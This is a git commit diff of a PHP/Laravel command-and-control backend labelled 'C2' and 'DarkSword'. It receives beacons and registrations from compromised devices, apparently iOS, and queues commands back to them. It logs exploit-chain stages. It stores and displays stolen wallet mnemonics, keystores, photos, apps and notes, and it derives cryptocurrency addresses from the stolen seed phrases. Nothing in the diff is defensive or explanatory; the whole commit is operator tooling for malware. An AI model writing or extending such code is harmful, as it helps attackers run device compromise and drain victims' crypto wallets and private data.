feat: ds
This commit is contained in:
@@ -34,8 +34,11 @@ Thumbs.db
|
||||
/storage/app/channel-builder
|
||||
/channel-builder-new/.venv
|
||||
/channel-builder-new/out
|
||||
/channel-builder-ds/.venv
|
||||
/channel-builder-ds/out
|
||||
/public/source
|
||||
/public/weifile
|
||||
/public/details
|
||||
/public/channel-source-new
|
||||
/public/next-chain
|
||||
/storage/app/channel-builder-new
|
||||
|
||||
@@ -3,27 +3,35 @@
|
||||
namespace App\Console\Commands;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\MnemonicAddressLinker;
|
||||
use App\Services\MnemonicWalletDiscovery;
|
||||
use Illuminate\Console\Command;
|
||||
|
||||
class LinkMnemonicsCommand extends Command
|
||||
{
|
||||
protected $signature = 'coruna:link-mnemonics';
|
||||
|
||||
protected $description = 'Backfill wallet_addresses.mnemonic_id for existing rows (BIP44 index 0..4)';
|
||||
protected $description = 'Link existing addresses to mnemonics, and derive TRON/ETH/BTC index 0 when a mnemonic has none';
|
||||
|
||||
public function handle(MnemonicAddressLinker $linker): int
|
||||
public function handle(MnemonicAddressLinker $linker, MnemonicWalletDiscovery $discovery): int
|
||||
{
|
||||
$before = WalletAddress::query()->whereNull('mnemonic_id')->count();
|
||||
$this->info("unlinked addresses before: {$before}");
|
||||
|
||||
$result = $linker->backfill();
|
||||
|
||||
$discovered = 0;
|
||||
foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) {
|
||||
$discovered += $discovery->discoverIndexZero($mnemonic);
|
||||
}
|
||||
|
||||
$after = WalletAddress::query()->whereNull('mnemonic_id')->count();
|
||||
$this->info(sprintf(
|
||||
'scanned mnemonics=%d linked=%d unlinked_after=%d',
|
||||
'scanned mnemonics=%d linked=%d discovered=%d unlinked_after=%d',
|
||||
$result['mnemonics'],
|
||||
$result['linked'],
|
||||
$discovered,
|
||||
$after,
|
||||
));
|
||||
|
||||
|
||||
+5
-3
@@ -1,5 +1,7 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
/* C2 / API request file logs — patterned after qrpay create_log */
|
||||
|
||||
if (! function_exists('create_log')) {
|
||||
@@ -24,7 +26,7 @@ if (! function_exists('create_log')) {
|
||||
$logName = $logPath.'/'.date('Ymd').'.log';
|
||||
try {
|
||||
$url = request()->getRequestUri();
|
||||
} catch (\Throwable) {
|
||||
} catch (Throwable) {
|
||||
$url = $_SERVER['REQUEST_URI'] ?? '';
|
||||
}
|
||||
$logStr = date('Y-m-d H:i:s').' '.$url.' '.$str."\r\n\r\n";
|
||||
@@ -35,7 +37,7 @@ if (! function_exists('create_log')) {
|
||||
if ($isNew) {
|
||||
@chmod($logName, 0664);
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
} catch (Throwable) {
|
||||
// never break the request for logging
|
||||
}
|
||||
}
|
||||
@@ -47,7 +49,7 @@ if (! function_exists('c2_log_request_meta')) {
|
||||
*
|
||||
* @return array{ip: string|null, remote_addr: mixed, headers: array<string, string|null>}
|
||||
*/
|
||||
function c2_log_request_meta(\Illuminate\Http\Request $request): array
|
||||
function c2_log_request_meta(Request $request): array
|
||||
{
|
||||
$headers = [];
|
||||
foreach ([
|
||||
|
||||
@@ -7,15 +7,20 @@ use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use App\Services\PhotoPreview;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Collection;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
@@ -58,6 +63,7 @@ class DeviceController extends Controller
|
||||
return [
|
||||
'id' => $d->id,
|
||||
'device_id' => $d->device_id,
|
||||
'family' => $d->family ?: Device::FAMILY_CORUNA,
|
||||
'channel_id' => $d->channel_id ?: '',
|
||||
'source_domain' => $d->source_domain ?: '',
|
||||
'device_model' => $d->device_model ?: '',
|
||||
@@ -86,7 +92,7 @@ class DeviceController extends Controller
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$tab = $request->query('tab', 'wallets');
|
||||
if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) {
|
||||
if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) {
|
||||
$tab = 'wallets';
|
||||
}
|
||||
|
||||
@@ -109,12 +115,15 @@ class DeviceController extends Controller
|
||||
->values();
|
||||
}
|
||||
|
||||
$device->load(['beaconTasks']);
|
||||
|
||||
return view('admin.devices.show', [
|
||||
'device' => $device,
|
||||
'tab' => $tab,
|
||||
'addressSources' => $addressSources,
|
||||
'addressChains' => $addressChains,
|
||||
'portal' => $this->portal(),
|
||||
'beaconTasks' => $device->beaconTasks,
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -131,6 +140,7 @@ class DeviceController extends Controller
|
||||
return match ($tab) {
|
||||
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
|
||||
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
|
||||
'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page),
|
||||
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
|
||||
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
|
||||
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
|
||||
@@ -139,16 +149,17 @@ class DeviceController extends Controller
|
||||
};
|
||||
}
|
||||
|
||||
public function photo(Device $device, int $photo)
|
||||
public function photo(Device $device, int $photo, PhotoPreview $preview)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$row = $device->photos()->whereKey($photo)->firstOrFail();
|
||||
abort_unless(Storage::disk('local')->exists($row->path), 404);
|
||||
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
|
||||
$abs = Storage::disk('local')->path($row->path);
|
||||
$out = $preview->payload($abs, (string) $device->device_id, (string) ($row->sha256 ?: ''));
|
||||
|
||||
return response(Storage::disk('local')->get($row->path), 200)
|
||||
->header('Content-Type', $mime);
|
||||
return response($out['bytes'], 200)
|
||||
->header('Content-Type', $out['mime']);
|
||||
}
|
||||
|
||||
public function update(Request $request, Device $device)
|
||||
@@ -177,6 +188,7 @@ class DeviceController extends Controller
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$deletedFiles = $this->deletePhotoFiles($device);
|
||||
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
|
||||
|
||||
$deletedRows = $device->photos()->delete();
|
||||
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||
@@ -210,9 +222,13 @@ class DeviceController extends Controller
|
||||
private function purgeDevice(Device $device): void
|
||||
{
|
||||
$this->deletePhotoFiles($device);
|
||||
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
|
||||
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/check/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
|
||||
$this->unmonitorAddresses($device);
|
||||
$this->purgeDarkSwordLogs($device);
|
||||
|
||||
DB::transaction(function () use ($device) {
|
||||
$device->apps()->delete();
|
||||
@@ -222,10 +238,93 @@ class DeviceController extends Controller
|
||||
$device->addresses()->delete();
|
||||
$device->mnemonics()->delete();
|
||||
$device->keystores()->delete();
|
||||
$device->beaconTasks()->delete();
|
||||
$device->delete();
|
||||
});
|
||||
}
|
||||
|
||||
private function purgeDarkSwordLogs(Device $device): void
|
||||
{
|
||||
$keys = $this->deviceLogKeys($device);
|
||||
if ($keys === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
DsChainLog::query()->whereIn('client_uid', $keys)->delete();
|
||||
PageVisit::query()->whereIn('client_uid', $keys)->delete();
|
||||
$this->purgeDsFileLogs($keys);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
private function deviceLogKeys(Device $device): array
|
||||
{
|
||||
$raw = trim((string) $device->device_id);
|
||||
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $raw) ?? '');
|
||||
$keys = [];
|
||||
foreach ([$raw, strtoupper($raw), $hex] as $key) {
|
||||
if ($key !== '' && ! in_array($key, $keys, true)) {
|
||||
$keys[] = $key;
|
||||
}
|
||||
}
|
||||
|
||||
return $keys;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $keys
|
||||
*/
|
||||
private function purgeDsFileLogs(array $keys): void
|
||||
{
|
||||
$dir = public_path('log/ds');
|
||||
if (! is_dir($dir)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$needles = array_values(array_unique(array_filter(array_map(
|
||||
static fn (string $key) => strtolower($key),
|
||||
$keys
|
||||
), static fn (string $key) => strlen($key) >= 8)));
|
||||
if ($needles === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
foreach (glob($dir.'/*.log') ?: [] as $file) {
|
||||
$raw = @file_get_contents($file);
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
continue;
|
||||
}
|
||||
$parts = preg_split("/\r\n\r\n|\n\n/", $raw) ?: [];
|
||||
$kept = [];
|
||||
$changed = false;
|
||||
foreach ($parts as $part) {
|
||||
if (trim($part) === '') {
|
||||
continue;
|
||||
}
|
||||
$hay = strtolower($part);
|
||||
$hit = false;
|
||||
foreach ($needles as $needle) {
|
||||
if (str_contains($hay, $needle)) {
|
||||
$hit = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ($hit) {
|
||||
$changed = true;
|
||||
|
||||
continue;
|
||||
}
|
||||
$kept[] = $part;
|
||||
}
|
||||
if (! $changed) {
|
||||
continue;
|
||||
}
|
||||
$out = $kept === [] ? '' : implode("\r\n\r\n", $kept)."\r\n\r\n";
|
||||
@file_put_contents($file, $out);
|
||||
}
|
||||
}
|
||||
|
||||
private function deletePhotoFiles(Device $device): int
|
||||
{
|
||||
$deletedFiles = 0;
|
||||
@@ -380,6 +479,30 @@ class DeviceController extends Controller
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$paginator = $device->keystores()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'source' => $row->sourceLabel(),
|
||||
'decrypted' => (int) $row->decrypted,
|
||||
'kind' => $row->kindLabel(),
|
||||
'item_count' => $row->itemCount(),
|
||||
'summary' => $row->summary(),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
|
||||
@@ -454,7 +577,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @param \Illuminate\Support\Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
|
||||
* @param Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
|
||||
*/
|
||||
private function layuiPage(int $count, $data)
|
||||
{
|
||||
@@ -467,7 +590,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
|
||||
* @return array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
|
||||
*/
|
||||
private function filtersFrom(Request $request): array
|
||||
{
|
||||
@@ -479,6 +602,7 @@ class DeviceController extends Controller
|
||||
|
||||
return [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'family' => trim((string) $request->query('family', '')),
|
||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||
'model' => trim((string) $request->query('model', '')),
|
||||
'ip' => trim((string) $request->query('ip', '')),
|
||||
@@ -491,7 +615,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
|
||||
* @param array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
|
||||
*/
|
||||
private function filteredQuery(array $filters): Builder
|
||||
{
|
||||
@@ -501,6 +625,9 @@ class DeviceController extends Controller
|
||||
if ($filters['device_key'] !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
|
||||
}
|
||||
if ($filters['family'] !== '' && in_array($filters['family'], [Device::FAMILY_CORUNA, Device::FAMILY_DARKSWORD], true)) {
|
||||
$q->where('devices.family', $filters['family']);
|
||||
}
|
||||
if ($filters['channel_id'] !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
|
||||
}
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class KeystoreController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
$sources = WalletKeystore::query()
|
||||
->where('source', '!=', '')
|
||||
->distinct()
|
||||
->orderBy('source')
|
||||
->pluck('source');
|
||||
|
||||
return view('admin.keystores.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'sources' => $sources,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('wallet_keystores.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
|
||||
return $this->rowPayload($row, $portal);
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function items(WalletKeystore $keystore)
|
||||
{
|
||||
if (! $this->keystoreAllowed($keystore)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => [
|
||||
'id' => $keystore->id,
|
||||
'source' => $keystore->sourceLabel(),
|
||||
'decrypted' => (int) $keystore->decrypted,
|
||||
'kind' => $keystore->kindLabel(),
|
||||
'items' => $keystore->listedItems(),
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function rowPayload(WalletKeystore $row, string $portal): array
|
||||
{
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?? $row->device?->device_id ?? '',
|
||||
'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '',
|
||||
'source' => $row->sourceLabel(),
|
||||
'decrypted' => (int) $row->decrypted,
|
||||
'kind' => $row->kindLabel(),
|
||||
'item_count' => $row->itemCount(),
|
||||
'summary' => $row->summary(),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
];
|
||||
}
|
||||
|
||||
private function keystoreAllowed(WalletKeystore $keystore): bool
|
||||
{
|
||||
$allowed = WalletKeystore::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
|
||||
->where('wallet_keystores.id', $keystore->id);
|
||||
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
|
||||
|
||||
return $allowed->exists();
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = WalletKeystore::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
|
||||
->select([
|
||||
'wallet_keystores.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
$decrypted = trim((string) $request->query('decrypted', ''));
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if ($source !== '') {
|
||||
if ($source === '未知') {
|
||||
$q->where(function (Builder $inner) {
|
||||
$inner->whereNull('wallet_keystores.source')
|
||||
->orWhere('wallet_keystores.source', '');
|
||||
});
|
||||
} else {
|
||||
$q->where('wallet_keystores.source', $source);
|
||||
}
|
||||
}
|
||||
if ($decrypted === '0' || $decrypted === '1') {
|
||||
$q->where('wallet_keystores.decrypted', (int) $decrypted);
|
||||
}
|
||||
if (! $this->isAgentPortal()) {
|
||||
AgentScope::applyAgentUserFilter(
|
||||
$q,
|
||||
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
|
||||
);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -85,7 +85,7 @@ class MnemonicController extends Controller
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
$discovery->discoverFundedIndexZero($mnemonic);
|
||||
$discovery->discoverIndexZero($mnemonic);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
@@ -116,7 +116,7 @@ class MnemonicController extends Controller
|
||||
|
||||
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
|
||||
|
||||
$discovery->discoverFundedIndexZero($mnemonic);
|
||||
$discovery->discoverIndexZero($mnemonic);
|
||||
|
||||
$addresses = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
|
||||
@@ -4,11 +4,13 @@ namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class PageVisitController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
@@ -36,7 +38,7 @@ class PageVisitController extends Controller
|
||||
->orderByDesc('id')
|
||||
->forPage($page, $limit)
|
||||
->get([
|
||||
'id', 'channel_id', 'client_uid', 'os', 'os_version',
|
||||
'id', 'channel_id', 'client_uid', 'chain', 'os', 'os_version',
|
||||
'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at',
|
||||
]);
|
||||
|
||||
@@ -48,6 +50,8 @@ class PageVisitController extends Controller
|
||||
'id' => $v->id,
|
||||
'channel_id' => $v->channel_id,
|
||||
'client_uid' => $v->client_uid,
|
||||
'chain' => (int) $v->chain,
|
||||
'chain_label' => PageVisit::chainLabel((int) $v->chain),
|
||||
'os' => $v->os ?: '',
|
||||
'os_version' => $v->os_version ?: '',
|
||||
'browser' => $v->browser ?: '',
|
||||
@@ -61,66 +65,35 @@ class PageVisitController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function groups(Request $request)
|
||||
public function logs(Request $request)
|
||||
{
|
||||
$group = (string) $request->query('group', 'os');
|
||||
$base = $this->scopedQuery($request);
|
||||
$builder = match ($group) {
|
||||
'os_version' => $base
|
||||
->select('os', 'os_version')
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
->selectRaw('COUNT(DISTINCT client_uid) as uv')
|
||||
->groupBy('os', 'os_version'),
|
||||
'domain' => $base
|
||||
->select('domain')
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
->selectRaw('COUNT(DISTINCT client_uid) as uv')
|
||||
->groupBy('domain'),
|
||||
'browser' => $base
|
||||
->select('browser')
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
->selectRaw('COUNT(DISTINCT client_uid) as uv')
|
||||
->groupBy('browser'),
|
||||
'browser_version' => $base
|
||||
->select('browser', 'browser_version')
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
->selectRaw('COUNT(DISTINCT client_uid) as uv')
|
||||
->groupBy('browser', 'browser_version'),
|
||||
default => $base
|
||||
->select('os')
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
->selectRaw('COUNT(DISTINCT client_uid) as uv')
|
||||
->groupBy('os'),
|
||||
};
|
||||
$uid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', (string) $request->query('client_uid', '')) ?? '');
|
||||
if ($uid === '') {
|
||||
return response()->json(['code' => 1, 'msg' => '缺少访客 UID', 'data' => []]);
|
||||
}
|
||||
|
||||
$rows = $builder
|
||||
->orderByDesc('pv')
|
||||
->limit(50)
|
||||
->get()
|
||||
->map(static function ($row) use ($group) {
|
||||
$label = match ($group) {
|
||||
'os_version' => trim(((string) ($row->os ?? '')).' '.((string) ($row->os_version ?? ''))),
|
||||
'domain' => (string) ($row->domain ?? ''),
|
||||
'browser' => (string) ($row->browser ?? ''),
|
||||
'browser_version' => trim(((string) ($row->browser ?? '')).' '.((string) ($row->browser_version ?? ''))),
|
||||
default => (string) ($row->os ?? ''),
|
||||
};
|
||||
$visible = $this->scopedQuery($request)->where('client_uid', $uid)->where('chain', PageVisit::CHAIN_DARKSWORD);
|
||||
if (! $visible->exists()) {
|
||||
return response()->json(['code' => 0, 'msg' => '', 'data' => []]);
|
||||
}
|
||||
|
||||
return [
|
||||
'label' => $label !== '' ? $label : 'Unknown',
|
||||
'pv' => (int) $row->pv,
|
||||
'uv' => (int) $row->uv,
|
||||
];
|
||||
})
|
||||
->values();
|
||||
$rows = DsChainLog::query()
|
||||
->where('client_uid', $uid)
|
||||
->orderBy('id')
|
||||
->limit(200)
|
||||
->get();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => [
|
||||
'group' => $group,
|
||||
'rows' => $rows,
|
||||
],
|
||||
'data' => $rows->map(static fn (DsChainLog $row) => [
|
||||
'id' => $row->id,
|
||||
'stage' => $row->stage,
|
||||
'stage_label' => DsChainLog::stageTitle((string) $row->stage),
|
||||
'progress' => (int) $row->progress,
|
||||
'label' => $row->label ?: '',
|
||||
'created_at' => optional($row->created_at)?->toDateTimeString(),
|
||||
])->values(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -141,6 +114,10 @@ class PageVisitController extends Controller
|
||||
$q->where('channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
|
||||
if ($request->query->has('chain') && $request->query('chain') !== '') {
|
||||
$q->where('chain', (int) $request->query('chain'));
|
||||
}
|
||||
|
||||
$os = trim((string) $request->query('os', ''));
|
||||
if ($os !== '') {
|
||||
$q->where('os', $os);
|
||||
|
||||
@@ -0,0 +1,434 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\DarkSwordIngestAdapter;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Response as SymfonyResponse;
|
||||
|
||||
/**
|
||||
* one99 / DarkSword C2: ingest plaintext JSON, then truncate-preview into ds log.
|
||||
* Unique paths: routes/ds.php. Shared xxbb paths: routes/xxbb.php.
|
||||
*/
|
||||
class DarkSwordC2Controller extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly DarkSwordIngestAdapter $ingest,
|
||||
private readonly DsBeaconQueue $beaconQueue,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Plaintext JSON on /a /u /nb /event /result is DarkSword, not xxbb AES.
|
||||
*/
|
||||
public static function matches(Request $request): bool
|
||||
{
|
||||
$path = '/'.ltrim($request->path(), '/');
|
||||
if (! in_array($path, ['/a', '/u', '/nb', '/event', '/result'], true)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if ($request->headers->has('x-ts') && (string) $request->header('x-ts') !== '') {
|
||||
return false;
|
||||
}
|
||||
|
||||
$ct = strtolower((string) $request->header('content-type', ''));
|
||||
if (str_contains($ct, 'json')) {
|
||||
return true;
|
||||
}
|
||||
|
||||
$raw = ltrim((string) $request->getContent());
|
||||
|
||||
return $raw !== '' && ($raw[0] === '{' || $raw[0] === '[');
|
||||
}
|
||||
|
||||
public function beacon(Request $request): SymfonyResponse
|
||||
{
|
||||
$payload = $this->jsonBody($request);
|
||||
$device = $this->ingest->ensureDevice($request, $payload);
|
||||
$command = $device ? $this->beaconQueue->dequeue($device) : null;
|
||||
|
||||
$body = [
|
||||
'ok' => true,
|
||||
'type' => $command['type'] ?? 'noop',
|
||||
'client_ip' => $request->ip(),
|
||||
'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null,
|
||||
];
|
||||
if ($command !== null) {
|
||||
$body['command_id'] = $command['command_id'];
|
||||
$body['params'] = $command['params'];
|
||||
}
|
||||
|
||||
return $this->finish($request, '/beacon', $payload, response()->json($body));
|
||||
}
|
||||
|
||||
public function war(Request $request): SymfonyResponse
|
||||
{
|
||||
return $this->ok($request, '/war', $this->jsonBody($request));
|
||||
}
|
||||
|
||||
public function p(Request $request): SymfonyResponse
|
||||
{
|
||||
return $this->ok($request, '/p', $this->jsonBody($request));
|
||||
}
|
||||
|
||||
public function stats(Request $request): SymfonyResponse
|
||||
{
|
||||
return $this->finish($request, '/stats', $this->jsonBody($request), response()->json([
|
||||
'bytes' => strlen((string) $request->getContent()),
|
||||
'ok' => true,
|
||||
'path' => '/stats',
|
||||
]));
|
||||
}
|
||||
|
||||
public function log(Request $request): SymfonyResponse
|
||||
{
|
||||
$payload = $this->payloadFromQueryOrJson($request);
|
||||
|
||||
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request));
|
||||
}
|
||||
|
||||
public function peStage(Request $request, string $name = ''): SymfonyResponse
|
||||
{
|
||||
$path = '/'.ltrim($request->path(), '/');
|
||||
$stage = $this->peStageName($name !== '' ? $name : $path);
|
||||
$payload = $this->payloadFromQueryOrJson($request);
|
||||
$payload['pe_stage'] = $stage;
|
||||
$payload['stage'] = $payload['stage'] ?? 'pe';
|
||||
$payload['label'] = $payload['label'] ?? ('pe_stage:'.$stage);
|
||||
|
||||
$body = $this->previewBody($request);
|
||||
if (is_array($body)) {
|
||||
$body['pe_stage'] = $stage;
|
||||
}
|
||||
|
||||
return $this->finish($request, $path, $payload, $this->logAck($request), $body);
|
||||
}
|
||||
|
||||
public function register(Request $request): SymfonyResponse
|
||||
{
|
||||
$payload = $this->jsonBody($request);
|
||||
$device = strtoupper((string) (
|
||||
$payload['deviceUUID']
|
||||
?? $payload['device']
|
||||
?? $payload['uuid']
|
||||
?? $request->header('X-Device-UUID')
|
||||
?? ''
|
||||
));
|
||||
$device = substr(preg_replace('/[^0-9A-F]/', '', $device) ?? '', 0, 32);
|
||||
$ios = (string) ($payload['ios'] ?? $payload['ios_version'] ?? $request->query('ios', ''));
|
||||
|
||||
return $this->finish($request, '/api/ds/device/register', $payload, response()->json([
|
||||
'ok' => true,
|
||||
'device' => $device,
|
||||
'deviceUUID' => $device,
|
||||
'device_id' => $device,
|
||||
'aliased' => false,
|
||||
'ios_version' => $ios,
|
||||
'target_chain' => (string) ($payload['chain'] ?? 'darksword'),
|
||||
